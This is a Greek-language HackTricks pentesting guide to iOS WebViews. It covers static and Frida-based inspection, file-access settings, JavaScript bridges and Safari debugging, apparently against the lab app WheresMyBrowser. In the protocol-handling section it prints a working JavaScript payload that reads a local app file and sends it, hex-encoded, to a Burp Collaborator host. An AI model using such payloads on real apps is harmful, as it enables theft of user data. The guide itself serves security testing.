iOS WebViews

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Ο κώδικας αυτής της σελίδας εξήχθη από εδώ. Ελέγξτε τη σελίδα για περαιτέρω λεπτομέρειες.

Τύποι WebViews

Οι WebViews χρησιμοποιούνται στις εφαρμογές για να εμφανίζουν διαδικτυακό περιεχόμενο με διαδραστικό τρόπο. Διάφοροι τύποι WebViews προσφέρουν διάφορες λειτουργίες και χαρακτηριστικά ασφαλείας για τις εφαρμογές iOS. Εδώ έχουμε μια σύντομη επισκόπηση:

  • UIWebView, ο οποίος δεν συνιστάται πλέον από το iOS 12 και μετά λόγω της έλλειψης υποστήριξης για απενεργοποίηση του JavaScript, καθιστώντας το ευάλωτο σε επιθέσεις ενσωμάτωσης σεναρίων και επιθέσεις Cross-Site Scripting (XSS).

  • WKWebView είναι η προτιμώμενη επιλογή για την ενσωμάτωση διαδικτυακού περιεχομένου στις εφαρμογές, προσφέροντας βελτιωμένο έλεγχο επί του περιεχομένου και χαρακτηριστικά ασφαλείας. Το JavaScript είναι ενεργοποιημένο από προεπιλογή, αλλά μπορεί να απενεργοποιηθεί αν είναι απαραίτητο. Υποστηρίζει επίσης χαρακτηριστικά για την αποτροπή του αυτόματου άνοιγματος παραθύρων από το JavaScript και εξασφαλίζει ότι όλο το περιεχόμενο φορτώνεται με ασφάλεια. Επιπλέον, η αρχιτεκτονική του WKWebView ελαχιστοποιεί τον κίνδυνο διαφθοράς μνήμης που επηρεάζει την κύρια διεργασία της εφαρμογής.

  • SFSafariViewController προσφέρει μια τυποποιημένη εμπειρία περιήγησης στον ιστό μέσα από τις εφαρμογές, αναγνωρίσιμη από την ειδική διάταξή της που περιλαμβάνει ένα πεδίο διεύθυνσης μόνο για ανάγνωση, κουμπιά κοινοποίησης και πλοήγησης, και έναν άμεσο σύνδεσμο για να ανοίξετε περιεχόμενο στο Safari. Αντίθετα με το WKWebView, το JavaScript δεν μπορεί να απενεργοποιηθεί στο SFSafariViewController, το οποίο επίσης μοιράζεται cookies και δεδομένα με το Safari, διατηρώντας την ιδιωτικότητα του χρήστη από την εφαρμογή. Πρέπει να εμφανίζεται εμφανώς σύμφωνα με τις οδηγίες του App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Περίληψη Εξερεύνησης Ρυθμίσεων WebViews

Επισκόπηση Στατικής Ανάλυσης

Κατά τη διαδικασία εξέτασης των ρυθμίσεων των WebViews, επικεντρώνονται σε δύο κύριους τύπους: UIWebView και WKWebView. Για την αναγνώριση αυτών των WebViews μέσα σε ένα δυαδικό αρχείο, χρησιμοποιούνται εντολές που αναζητούν συγκεκριμένες αναφορές κλάσεων και μεθόδους αρχικοποίησης.

  • Αναγνώριση UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Αυτή η εντολή βοηθά στον εντοπισμό περιπτώσεων του UIWebView αναζητώντας κείμενα που σχετίζονται με αυτό στο δυαδικό αρχείο.

  • Αναγνώριση του WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Αντίστοιχα, για το WKWebView, αυτή η εντολή αναζητά το δυαδικό αρχείο για κείμενα που υποδηλώνουν τη χρήση του.

Επιπλέον, για να βρεθεί πώς πραγματοποιείται η αρχικοποίηση ενός WKWebView, εκτελείται η παρακάτω εντολή, στοχεύοντας τη μέθοδο που σχετίζεται με την αρχικοποίησή του:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Επαλήθευση Διαμόρφωσης JavaScript

Για το WKWebView, τονίζεται ότι η απενεργοποίηση του JavaScript είναι μια βέλτιστη πρακτική εκτός αν απαιτείται. Αναζητείται το μεταγλωττισμένο δυαδικό αρχείο για να επιβεβαιωθεί ότι η ιδιότητα javaScriptEnabled έχει οριστεί σε false, εξασφαλίζοντας έτσι την απενεργοποίηση του JavaScript:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Επαλήθευση Μόνο Ασφαλούς Περιεχομένου

Το WKWebView προσφέρει τη δυνατότητα αναγνώρισης προβλημάτων μεικτού περιεχομένου, σε αντίθεση με το UIWebView. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα hasOnlySecureContent για να διασφαλιστεί ότι όλο το περιεχόμενο της σελίδας φορτώνεται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Πληροφορίες Δυναμικής Ανάλυσης

Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο του σωρού για περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με το όνομα webviews_inspector.js χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας σε περιπτώσεις UIWebView, WKWebView και SFSafariViewController. Καταγράφει πληροφορίες για τις εντοπισμένες περιπτώσεις, συμπεριλαμβανομένων των διευθύνσεων URL και των ρυθμίσεων που σχετίζονται με την JavaScript και το ασφαλές περιεχόμενο.

Ο έλεγχος του σωρού μπορεί να πραγματοποιηθεί χρησιμοποιώντας την ObjC.choose() για την αναγνώριση των περιπτώσεων WebView και τον έλεγχο των ιδιοτήτων javaScriptEnabled και hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Το σενάριο εκτελείται με:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Κύρια Αποτελέσματα:

  • Εντοπίζονται και ελέγχονται με επιτυχία οι περιπτώσεις των WebViews.

  • Επαληθεύονται οι ρυθμίσεις ενεργοποίησης JavaScript και ασφαλούς περιεχομένου.

Αυτό το σύνοψη περιλαμβάνει τα κρίσιμα βήματα και τις εντολές που συμπεριλαμβάνονται στην ανάλυση των ρυθμίσεων WebView μέσω στατικών και δυναμικών προσεγγίσεων, με έμφαση σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση JavaScript και η ανίχνευση αναμειγνύονται περιεχόμενα.

Χειρισμός Πρωτοκόλλων WebView

Ο χειρισμός περιεχομένου στα WebViews είναι ένα κρίσιμο στοιχείο, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως http(s)://, file:// και tel://. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου μέσα στις εφαρμογές. Επισημαίνεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και από την επεξεργασία του περιεχομένου ίδιου.

Οι WebViews προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για το UIWebView, που πλέον έχει αποσυρθεί, χρησιμοποιούνται μεθόδοι όπως loadHTMLString:baseURL: και loadData:MIMEType:textEncodingName:baseURL:. Από την άλλη πλευρά, η WKWebView χρησιμοποιεί τις μεθόδους loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: και loadRequest: για περιεχόμενο ιστού. Συνήθως χρησιμοποιούνται μεθόδοι όπως pathForResource:ofType:, URLForResource:withExtension: και init(contentsOf:encoding:) για τη φόρτωση τοπικών αρχείων. Η μέθοδος loadFileURL:allowingReadAccessToURL: είναι ιδιαίτερα σημαντική για τη δυνατότητά της να φορτώσει ένα συγκεκριμένο URL ή κατάλογο στο WebView, ενδεχομένως αποκαλύπτοντας ευαίσθητα δεδομένα εάν καθοριστεί ένας κατάλογος.

Για να βρεθούν αυτές οι μέθοδοι στον πηγαίο κώδικα ή το μεταγλωττισμένο δυαδικό αρχείο, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Όσον αφορά την πρόσβαση σε αρχεία, η UIWebView το επιτρέπει καθολικά, ενώ η WKWebView εισάγει τις ρυθμίσεις allowFileAccessFromFileURLs και allowUniversalAccessFromFileURLs για τη διαχείριση της πρόσβασης από διευθύνσεις URL αρχείων, με τις δύο να είναι ψευδείς από προεπιλογή.

Παρέχεται ένα παράδειγμα σεναρίου Frida για τον έλεγχο των ρυθμίσεων ασφαλείας της WKWebView:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Τέλος, ένα παράδειγμα ενός JavaScript payload που στοχεύει στην εξαγωγή τοπικών αρχείων δείχνει το δυνητικό κίνδυνο ασφάλειας που συνδέεται με μη σωστά διαμορφωμένα WebViews. Αυτό το payload κωδικοποιεί το περιεχόμενο των αρχείων σε δεκαεξαδική μορφή πριν τα μεταδώσει σε έναν διακομιστή, υπογραμμίζοντας τη σημασία αυστηρών μέτρων ασφαλείας στις υλοποιήσεις των WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Εκθέτοντας Ενσωματωμένες Μεθόδους μέσω των WebViews

Κατανόηση των Ενσωματωμένων Διεπαφών WebView στο iOS

Από το iOS 7 και μετά, η Apple παρείχε APIs για επικοινωνία μεταξύ JavaScript σε ένα WebView και ενσωματωμένων Swift ή Objective-C αντικειμένων. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:

  • JSContext: Ένα JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C block συνδέεται με ένα αναγνωριστικό εντός ενός JSContext. Αυτό επιτρέπει την άριστη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και ενσωματωμένου κώδικα.

  • JSExport Protocol: Με την κληρονομία του πρωτοκόλλου JSExport, ενσωματωμένες ιδιότητες, μέθοδοι παραδείγματος και μέθοδοι κλάσης μπορούν να εκτεθούν στο JavaScript. Αυτό σημαίνει ότι οποιεσδήποτε αλλαγές γίνονται στο περιβάλλον JavaScript αντανακλώνται στο ενσωματωμένο περιβάλλον και αντίστροφα. Ωστόσο, είναι απαραίτητο να διασφαλίζεται ότι ευαίσθητα δεδομένα δεν εκτίθενται κατά λάθος μέσω αυτής της μεθόδου.

Πρόσβαση στο JSContext στο Objective-C

Στο Objective-C, το JSContext για ένα UIWebView μπορεί να ανακτηθεί με την παρακάτω γραμμή κώδικα:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Επικοινωνία με το WKWebView

Για το WKWebView, η άμεση πρόσβαση στο JSContext δεν είναι διαθέσιμη. Αντ' αυτού, χρησιμοποιείται η μετάδοση μηνυμάτων μέσω της συνάρτησης postMessage, επιτρέποντας την επικοινωνία ανάμεσα στο JavaScript και την native εφαρμογή. Οι χειριστές για αυτά τα μηνύματα ορίζονται ως εξής, επιτρέποντας στο JavaScript να αλληλεπιδρά με την native εφαρμογή με ασφάλεια:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Αλληλεπίδραση και Δοκιμή

Ο JavaScript μπορεί να αλληλεπιδράσει με τον φυσικό επίπεδο με τον καθορισμό ενός χειριστή μηνυμάτων σεναρίου. Αυτό επιτρέπει λειτουργίες όπως η κλήση φυσικών συναρτήσεων από μια ιστοσελίδα:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Για να καταγράψετε και να παρεμβάλετε το αποτέλεσμα μιας κλήσης μιας φυσικής συνάρτησης, μπορείτε να αντικαταστήσετε τη συνάρτηση επανάκλησης μέσα στο HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Η πλευρά του συστήματος αντιμετωπίζει την κλήση JavaScript όπως φαίνεται στην κλάση JavaScriptBridgeMessageHandler, όπου το αποτέλεσμα λειτουργιών όπως η πολλαπλασιασμός αριθμών επεξεργάζεται και αποστέλλεται πίσω στο JavaScript για εμφάνιση ή περαιτέρω επεξεργασία:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Αποσφαλμάτωση iOS WebViews

(Οδηγός βασισμένος στον οδηγό από https://blog.vuplex.com/debugging-webviews)

Για να αποσφαλματώσετε αποτελεσματικά περιεχόμενο ιστού μέσα σε iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα εργαλεία προγραμματιστή του Safari, καθώς τα μηνύματα που στέλνονται στο console.log() δεν εμφανίζονται στα αρχεία καταγραφής του Xcode. Εδώ υπάρχει ένας απλοποιημένος οδηγός, με έμφαση στα βασικά βήματα και τις απαιτήσεις:

  • Προετοιμασία στη συσκευή iOS: Το Safari Web Inspector πρέπει να είναι ενεργοποιημένο στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας σε Ρυθμίσεις > Safari > Προηγμένες, και ενεργοποιώντας το Web Inspector.

  • Προετοιμασία στη συσκευή macOS: Στην ανάπτυξη μηχανή του macOS σας, πρέπει να ενεργοποιήσετε τα εργαλεία προγραμματιστή μέσα από το Safari. Ξεκινήστε το Safari, αποκτήστε πρόσβαση στο Safari > Προτιμήσεις > Προηγμένες, και επιλέξτε την επιλογή Εμφάνιση μενού Ανάπτυξης.

  • Σύνδεση και αποσφαλμάτωση: Αφού συνδέσετε τη συσκευή iOS σας στον υπολογιστή macOS σας και ξεκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Πλοηγηθείτε στο Ανάπτυξη στη γραμμή μενού του Safari, παραμείνετε πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με παραδείγματα webview, και επιλέξτε το παράδειγμα που θέλετε να επιθεωρήσετε. Θα ανοίξει ένα νέο παράθυρο Safari Web Inspector για αυτόν τον σκοπό.

Ωστόσο, να είστε προσεκτικοί με τους περιορισμούς:

  • Η αποσφαλμάτωση με αυτόν τον τρόπο απαιτεί μια συσκευή macOS, καθώς εξαρτάται από το Safari.

  • Μόνο τα webviews σε εφαρμογές που φορτώνονται στη συσκευή σας μέσω του Xcode είναι κατάλληλα για αποσφαλμάτωση. Τα webviews σε εφαρμογές που εγκαθίστανται μέσω του App Store ή του Apple Configurator δεν μπορούν να αποσφαλματωθούν με αυτόν τον τρόπο.

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated